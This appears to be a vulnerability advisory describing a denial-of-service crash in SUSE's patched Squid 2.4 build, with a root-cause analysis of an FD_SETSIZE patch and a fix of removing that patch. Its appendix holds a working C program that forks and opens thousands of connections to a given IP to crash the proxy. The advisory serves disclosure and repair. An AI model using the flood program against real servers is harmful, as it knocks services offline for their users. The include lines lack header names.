DoS bug in SUSE squid-2.4.STABLE7-284 ===================================== This bug was found by Morten K. Poulsen. This bug is only in the SUSE build of Squid, not in the upstream version. I have only tested it when running Squid in httpd-accelerator mode (reverse proxy), but the bug probably also exists when running Squid as a normal proxy. Triggering the bug ------------------ If a large number of connections (more than 1024) is created to a Squid server, and each of these makes a HTTP request but doesn't read the response, Squid crashes. See Appendix A for a program that does that. It has happened in our production environment during peak loads, so it is not just a theoretical problem. What happens? ------------- When Squid crashes, it leaves the following stack trace in it's log file: (squid)[0x809feae] /lib/libc.so.6[0x400bcd68] (squid)[0x8083847] /lib/libc.so.6(__libc_start_main+0xa2)[0x400ab4a2] (squid)(strcpy+0x31)[0x804a4c1] FATAL: Received Segment Violation...dying. The stack trace might lead one to believe that an unchecked call to strcpy() triggers the crash, but in fact 0x804a4c1 is in _start. The crash happens in comm_select.c line 489, where the result of a call to commGetSlowFd() is used as an index into fd_table. The function commGetSlowFd() returns a random entry from slowfdarr, which is located after global_writefds in memory. If global_writefds overflows, the first entries of slowfdarr is overwritten with invalid data. Squid makes sure that this situation can never arise by checking the size of a fd_set (FD_SETSIZE) in the beginning of main() in main.c line 577 and 578, and making sure that it never accepts more connections. But SUSE applies the following patch when building Squid: --- squid-2.4.STABLE2.orig/src/squid.h Thu Feb 22 22:39:14 2001 +++ squid-2.4.STABLE2/src/squid.h Wed Aug 29 12:57:32 2001 @@ -235,6 +235,19 @@ #endif /* HAVE_POLL_H */ #endif /* HAVE_POLL */ +/* Increase FD_SETSIZE on Linux */ +#if defined(_SQUID_LINUX_) +#if HAVE_POLL +#undef CHANGE_FD_SETSIZE +#define CHANGE_FD_SETSIZE 1 +#endif +/* Increase FD_SETSIZE if SQUID_MAXFD is bigger */ +#if CHANGE_FD_SETSIZE && SQUID_MAXFD > DEFAULT_FD_SETSIZE +#undef FD_SETSIZE +#define FD_SETSIZE SQUID_MAXFD +#endif /* CHANGE_FD_SETSIZE */ +#endif /* defined (_SQUID_LINUX_) */ + #if STDC_HEADERS #include #else The patch changes FD_SETSIZE if HAVE_POLL is set, but changing FD_SETSIZE on Linux with glibc has no effect, even if you have the poll() system call available - the fds_bits field of struct fd_set is still the same size. But by redefining FD_SETSIZE the check in main.c line 577 is effectively disabled, rendering Squid vulnerable to overflows of global_writefds (and other fd_set variables). The solution ------------ Removing the patch fixes the problem. Appendix A ---------- #include #include #include #include #include #include #include int conn(const char *host) { int len; struct sockaddr_in addr; int sd; char str[] = "GET / HTTP/1.1\r\nHost: squid-test\r\n\r\n"; sd = socket(PF_INET, SOCK_STREAM, 0); if(sd == -1) { perror("socket() failed"); return -1; } addr.sin_family = PF_INET; addr.sin_addr.s_addr = inet_addr(host); addr.sin_port = htons(80); len = sizeof(addr); if(connect(sd, (struct sockaddr *)&addr, len) == -1) { perror("connect() failed"); return -1; } write(sd, str, sizeof(str)-1); return sd; } int main(int argc, char *argv[]) { int i; if (argc != 2) { fprintf(stderr, "Usage: %s ip\n", argv[0]); return EXIT_FAILURE; } fork(); fork(); for (i=0; i<1000; i++) { conn(argv[1]); write(1, ".", 1); } sleep(60); return EXIT_SUCCESS; }